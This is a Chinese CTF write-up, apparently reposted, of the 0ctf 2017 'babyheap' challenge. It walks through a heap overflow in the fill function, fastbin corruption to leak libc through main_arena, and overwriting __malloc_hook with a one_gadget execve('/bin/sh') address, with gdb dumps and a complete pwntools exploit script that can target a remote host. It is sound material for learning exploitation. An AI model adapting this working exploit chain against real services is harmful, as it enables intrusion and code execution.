babyheap 2017漏洞分析
来源:互联网 发布:java项目开发源代码 编辑:程序博客网 时间:2024/06/10 09:39
直接拿http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html的完整exp分析吧
这是0ctf 2017的一道pwn题。
主要是两点,第一点是怎么泄露libc的基地址,第二点是怎么执行shell
漏洞点:在fill函数中,IDA逆向分析如下:
unsigned __int64 __fastcall fill(pr_heap *a1){ unsigned __int64 result; // rax@1 int index; // [sp+18h] [bp-8h]@1 int size; // [sp+1Ch] [bp-4h]@4 printf("Index: "); result = read_to_int(); index = result; if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 ) { result = LODWORD(a1[(signed int)result].alloc_or_not); if ( (_DWORD)result == 1 ) { printf("Size: "); result = read_to_int(); size = result; if ( (signed int)result > 0 ) { printf("Content: "); result = read_data((__int64)a1[index].heap, size); } } } return result;}
漏洞是在往堆中fill数据时,数据大小是用户可以控制的 ,这样就可以覆盖堆后边的数据了。
void __fastcall allocate(pr_heap *base){ signed int index; // [sp+10h] [bp-10h]@1 signed int size; // [sp+14h] [bp-Ch]@3 void *heap_start_address; // [sp+18h] [bp-8h]@6 for ( index = 0; index <= 15; ++index ) { if ( !LODWORD(base[index].alloc_or_not) ) { printf("Size: "); size = read_to_int(); if ( size > 0 ) { if ( size > 4096 ) size = 4096; heap_start_address = calloc(size, 1uLL); if ( !heap_start_address ) exit(-1); LODWORD(base[index].alloc_or_not) = 1; *(_QWORD *)&base[index].size = size; base[index].heap = heap_start_address; printf("Allocate Index %d\n", (unsigned int)index); } return; } }}
在创建堆时有一个结构体,这个结构体大概是这样的:
struct pr_heap{double alloc_or_not;double size;void *heap;};
第一个0或者1,表示是否分配
第二个是分配的大小
第三个是指针指向堆的地址。
因为开启了PIE,所以需要泄露libc的基地址才能利用成功。
首先看获取libc基地址的方法:
首先应该记住这样一条规律:当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在main_arena的0x58偏移处,而main_arena是libc的data段中,是全局静态变量,所以偏移也是固定的,根据这些就可以计算出libc的基地址了
所以重点是当small chunk释放时,能读出fd 或者 bk的值
贴一下该处的利用代码:
r.recvuntil(': ') alloc(0x20) alloc(0x20) alloc(0x20) alloc(0x20) #pause() alloc(0x80) free(1) free(2) #pause() payload = p64(0)*5 payload += p64(0x31) payload += p64(0)*5 payload += p64(0x31) payload += p8(0xc0) fill(0, payload) payload = p64(0)*5 payload += p64(0x31) fill(3, payload) alloc(0x20) alloc(0x20) payload = p64(0)*5 payload += p64(0x91) fill(3, payload) alloc(0x80) free(4) libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678 log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58)) log.info("libc_base: " + hex(libc_base))
首先申请5个堆块,前四个是0x20大小,后一个是0x80大小,分配后结构体所在内存布局如下:
gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000010x2535a18ce760:0x00000000000000200x00005560dae450400x2535a18ce770:0x00000000000000010x00000000000000200x2535a18ce780:0x00005560dae450700x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000010x00000000000000800x2535a18ce7b0:0x00005560dae450d00x0000000000000000
堆内存布局:
gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00000000000000000x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000910x5560dae450d0:0x00000000000000000x00000000000000000x5560dae450e0:0x00000000000000000x0000000000000000
然后释放index为1,2的块:
gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000000x2535a18ce760:0x00000000000000000x00000000000000000x2535a18ce770:0x00000000000000000x00000000000000000x2535a18ce780:0x00000000000000000x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000010x00000000000000800x2535a18ce7b0:0x00005560dae450d00x00000000000000000x2535a18ce7c0:0x00000000000000000x00000000000000000x2535a18ce7d0:0x00000000000000000x0000000000000000
然后向index=0的内存填充数据,由于堆溢出的漏洞,可以覆盖后边的内存。
填充前:
gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00005560dae450300x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000910x5560dae450d0:0x00000000000000000x00000000000000000x5560dae450e0:0x00000000000000000x0000000000000000
填充后:
gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00005560dae450c00x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000910x5560dae450d0:0x00000000000000000x00000000000000000x5560dae450e0:0x00000000000000000x0000000000000000
可以发现变化,填充将0x5560dae45070的末尾字节由0x30改成了0xc0,此处正好是fastbin的fd 指向第二次分配fast chunk时的地址 也就是说第一次分配从0x5560dae45060开始,第二次分配从0x5560dae450c0开始了。
payload = p64(0)*5 payload += p64(0x31) fill(3, payload)
本来index=4的堆大小为0x90 此处填充覆盖index=4的堆首表示堆大小的值为0x31 ,也就是将堆从small chunk变成了fast chunk。为什么这样做呢 是为了后边分配0x30堆时的校验通过。
alloc(0x20)
alloc(0x20)
此时在分配两个大小为0x20的堆,第一个分配到0x5560dae45060处,第二次分配到0x5560dae450c0处
gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000010x2535a18ce760:0x00000000000000200x00005560dae450700x2535a18ce770:0x00000000000000010x00000000000000200x2535a18ce780:0x00005560dae450d00x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000010x00000000000000800x2535a18ce7b0:0x00005560dae450d00x00000000000000000x2535a18ce7c0:0x00000000000000000x00000000000000000x2535a18ce7d0:0x00000000000000000x0000000000000000gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00000000000000000x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000310x5560dae450d0:0x00000000000000000x00000000000000000x5560dae450e0:0x00000000000000000x0000000000000000
payload = p64(0)*5 payload += p64(0x91) fill(3, payload)
此处重新将index=4的堆大小修改为0x90,即small chunk。
alloc(0x80)
分配大小为0x90的块,index=5:
gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000010x2535a18ce760:0x00000000000000200x00005560dae450700x2535a18ce770:0x00000000000000010x00000000000000200x2535a18ce780:0x00005560dae450d00x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000010x00000000000000800x2535a18ce7b0:0x00005560dae450d00x00000000000000010x2535a18ce7c0:0x00000000000000800x00005560dae451600x2535a18ce7d0:0x00000000000000000x0000000000000000
经过以上操作,可以看到index=2和index=4处的堆地址是一样的了
free(4)
此时将index=4的堆释放,根据文章刚开头的介绍,此时index=4的堆(small bin)的fd bk都保存一个指针,这个指针地址在main_arena的0x58偏移处,指向top chunk的地址。
gdb-peda$ x/20gx 0x2535a18ce7400x2535a18ce740:0x00000000000000010x00000000000000200x2535a18ce750:0x00005560dae450100x00000000000000010x2535a18ce760:0x00000000000000200x00005560dae450700x2535a18ce770:0x00000000000000010x00000000000000200x2535a18ce780:0x00005560dae450d00x00000000000000010x2535a18ce790:0x00000000000000200x00005560dae450a00x2535a18ce7a0:0x00000000000000000x00000000000000000x2535a18ce7b0:0x00000000000000000x00000000000000010x2535a18ce7c0:0x00000000000000800x00005560dae451600x2535a18ce7d0:0x00000000000000000x0000000000000000gdb-peda$ x/30gx 0x00005560dae450000x5560dae45000:0x00000000000000000x00000000000000310x5560dae45010:0x00000000000000000x00000000000000000x5560dae45020:0x00000000000000000x00000000000000000x5560dae45030:0x00000000000000000x00000000000000310x5560dae45040:0x00000000000000000x00000000000000000x5560dae45050:0x00000000000000000x00000000000000000x5560dae45060:0x00000000000000000x00000000000000310x5560dae45070:0x00000000000000000x00000000000000000x5560dae45080:0x00000000000000000x00000000000000000x5560dae45090:0x00000000000000000x00000000000000310x5560dae450a0:0x00000000000000000x00000000000000000x5560dae450b0:0x00000000000000000x00000000000000000x5560dae450c0:0x00000000000000000x00000000000000910x5560dae450d0:0x00007ff583cffb78 0x00007ff583cffb780x5560dae450e0:0x00000000000000000x0000000000000000gdb-peda$ p main_arena$1 = struct malloc_state {mutex = 0x0flags = 0x0fastbinsY = {...}top = 0x5560dae451e0last_remainder = 0x0bins = {...}binmap = {...}next = 0x7ff583cffb20next_free = 0x0attached_threads = 0x1system_mem = 0x21000max_system_mem = 0x21000gdb-peda$ vmmap Start End PermName。。。。。。。。0x00007ff58393b000 0x00007ff583afb000 r-xp/lib/x86_64-linux-gnu/libc-2.23.so。。。。。。。。0x00007ff583f2c000 0x00007ff583f2d000 rw-pmapped0x00007fff21261000 0x00007fff21282000 rw-p[stack]0x00007fff2139c000 0x00007fff2139e000 r--p[vvar]0x00007fff2139e000 0x00007fff213a0000 r-xp[vdso]0xffffffffff600000 0xffffffffff601000 r-xp[vsyscall]
main_arena在libc data段 偏移为0x7ff583cffb20-0x00007ff58393b000=0x3c4b20
libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20
因为index=2和index=4的堆地址是一样的,所以通过index=2的堆dump函数就可以读取出fd的数据了 。
经过以上分析调试,就可以读取出libc的基地址了。
下边是介绍怎么获取shell。
gdb-peda$ x/30gx 0x7ff583cffb20-0x300x7ff583cffaf0 <_IO_wide_data_0+304>:0x00007ff583cfe2600x00000000000000000x7ff583cffb00 <__memalign_hook>:0x00007ff5839c0e200x00007ff5839c0a000x7ff583cffb10 <__malloc_hook>:0x00000000000000000x00000000000000000x7ff583cffb20 <main_arena>:0x00000000000000000x00000000000000000x7ff583cffb30 <main_arena+16>:0x00000000000000000x00000000000000000x7ff583cffb40 <main_arena+32>:0x00000000000000000x00000000000000000x7ff583cffb50 <main_arena+48>:0x00000000000000000x0000000000000000
在mian_arena上边有个malloc_hook,当此处的值不为0的时候,程序就会跳到该处保存地址的地方指向代码。
所以思路是,在main_arena上方地址创建堆,填充数据,比如填充指向shellcode的地址,然后就可以跳转到shellcode执行了。
还有个比较麻烦的地方就是控制堆的大小,因为此处用到fast chunk,所以此处堆的大小为0x20-0x80,我们可以看到0x7ff583cffafc处,正好是0x00007f,符合我们的要求,所以可以在0x7ff583cffaed(此处指向堆首)处创建一个堆,然后填充数据,将malloc_hook填充为shellcode。
gdb-peda$ x/20gx 0x7ff583cffaec0x7ff583cffaec <_IO_wide_data_0+300>:0x83cfe260000000000x0000000000007ff50x7ff583cffafc:0x839c0e20000000000x839c0a0000007ff50x7ff583cffb0c <__realloc_hook+4>:0x0000000000007ff50x00000000000000000x7ff583cffb1c:0x00000000000000000x00000000000000000x7ff583cffb2c <main_arena+12>:0x00000000000000000x00000000000000000x7ff583cffb3c <main_arena+28>:0x00000000000000000x00000000000000000x7ff583cffb4c <main_arena+44>:0x00000000000000000x00000000000000000x7ff583cffb5c <main_arena+60>:0x00000000000000000x00000000000000000x7ff583cffb6c <main_arena+76>:0x00000000000000000xdae451e0000000000x7ff583cffb7c <main_arena+92>:0xdae45130000055600xdae4513000005560
先把此处的代码贴出来:
alloc(0x68) free(4) pause() fill(2, p64(libc_base + 0x3c4aed)) alloc(0x60) alloc(0x60) #pause() payload = '\x00'*3 payload += p64(0)*2 payload += p64(libc_base + 0x4526a) fill(6, payload) #pause() alloc(255) r.interactive()
alloc(0x68) free(4)
此处将刚才创建的small chunk修改fast chunk(其实是释放后的 )
fill(2, p64(libc_base + 0x3c4aed)) 将index=2的堆填充为malloc_hook前要创建的堆的堆首地址,也就是将index=4的fd修改为相同。
alloc(0x60)alloc(0x60)
先从index=2或者index=4处创建大小为0x70的堆,此时因为fd指向libc_base + 0x3c4aed,所以下次创建大小是0x70的堆时,就在libc_base + 0x3c4aed创建 inedx=6
payload = '\x00'*3 payload += p64(0)*2 payload += p64(libc_base + 0x4526a) fill(6, payload)
此时 填充index=6的堆,也就是在malloc_hook前创建的堆,然后将malloc_hook填充为shellcode的地址 。
alloc(255)
再次创建堆块时,shellcode得到执行,获取了shell。
最终结果:
shellcode获取:
在libc中包含execve('/bin/sh'),可以直接调用 。
可以通过one_gadget工具直接搜索相关代码https://github.com/david942j/one_gadget:
root@yang-virtual-machine:~/ctf# one_gadget /lib/x86_64-linux-gnu/libc.so.60x4526aexecve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL0xcd0f3execve("/bin/sh", rcx, r12)constraints: [rcx] == NULL || rcx == NULL [r12] == NULL || r12 == NULL0xcd1c8execve("/bin/sh", rax, r12)constraints: [rax] == NULL || rax == NULL [r12] == NULL || r12 == NULL0xf0274execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL0xf1117execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL0xf66c0execve("/bin/sh", rcx, [rbp-0xf8])constraints: [rcx] == NULL || rcx == NULL [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULLroot@yang-virtual-machine:~/ctf#
比如此处的0x4526a的代码可以直接调用。
完整exp:
from pwn import *import sysdef alloc(size): r.sendline('1') r.sendlineafter(': ', str(size)) r.recvuntil(': ', timeout=1)def fill(idx, data): r.sendline('2') r.sendlineafter(': ', str(idx)) r.sendlineafter(': ', str(len(data))) r.sendafter(': ', data) r.recvuntil(': ')def free(idx): r.sendline('3') r.sendlineafter(': ', str(idx)) r.recvuntil(': ')def dump(idx): r.sendline('4') r.sendlineafter(': ', str(idx)) r.recvuntil(': \n') data = r.recvline() r.recvuntil(': ') return datadef exploit(r): r.recvuntil(': ') alloc(0x20) alloc(0x20) alloc(0x20) alloc(0x20) #pause() alloc(0x80) pause() free(1) free(2) #pause() payload = p64(0)*5 payload += p64(0x31) payload += p64(0)*5 payload += p64(0x31) payload += p8(0xc0) fill(0, payload) payload = p64(0)*5 payload += p64(0x31) fill(3, payload) alloc(0x20) alloc(0x20) payload = p64(0)*5 payload += p64(0x91) fill(3, payload) alloc(0x80) free(4) libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20 #0x3a5678 log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58)) log.info("libc_base: " + hex(libc_base)) alloc(0x68) free(4) pause() fill(2, p64(libc_base + 0x3c4aed)) alloc(0x60) alloc(0x60) #pause() payload = '\x00'*3 payload += p64(0)*2 payload += p64(libc_base + 0x4526a) fill(6, payload) #pause() alloc(255) r.interactive()if __name__ == "__main__": log.info("For remote: %s HOST PORT" % sys.argv[0]) if len(sys.argv) > 1: r = remote(sys.argv[1], int(sys.argv[2])) exploit(r) else: #r = process(['./babyheap'], env={"LD_PRELOAD":"./libc.so.6"}) r = process('./babyheap') print util.proc.pidof(r) #pause() exploit(r)
几点疑问:
1. 在 alloc(0x68)时,为什么堆首大小是0x71呢
2. 在alloc(0x60处),为什么堆首大小还是0x7f呢 就是最后在malloc_hook上申请的那个堆
参考链接:
1.http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
2.http://0x48.pw/2017/08/01/0x36/
3.https://poning.me/2017/03/24/baby-heap-2017/
阅读全文
0 0
- babyheap 2017漏洞分析
- 0ctf 2017 babyheap writeup
- CVE-2017-12617漏洞分析
- CVE-2017-11826漏洞利用样本分析
- hitcon 2016 pwn babyheap writeup
- 漏洞分析马后炮 s2-045漏洞分析
- ICMP漏洞分析
- MS05-055漏洞分析
- 软件漏洞分析入门
- ymcms3.1.0漏洞分析
- MS08-067漏洞分析
- MS08-067漏洞分析
- MS06-030漏洞分析
- 软件漏洞分析入门
- 智能手机漏洞分析
- MS10-081漏洞分析
- Windows SMB漏洞分析
- MS11-011漏洞分析
- 余弦相似度与正规化的欧氏距离的某种等价性
- Hibernate 初始化:获取SessionFactory的各种方式
- 20171012 SQL语句JOIN关键字
- 自定义圆角ImageView
- 从头编写 asp.net core 2.0 web api 基础框架 (3)
- babyheap 2017漏洞分析
- tf.random_uniform的使用
- git --- If no other git process is currently running, this probably means a git process crashed in
- Kylin 之对大数据量的多维分析
- iPhone X App 页面适配
- 能力糟糕的程序员日记第一 二天
- HYSBZ bzoj 1941 Hide and Seek
- ANSI Common Lisp译本笔记6
- java实现发送邮件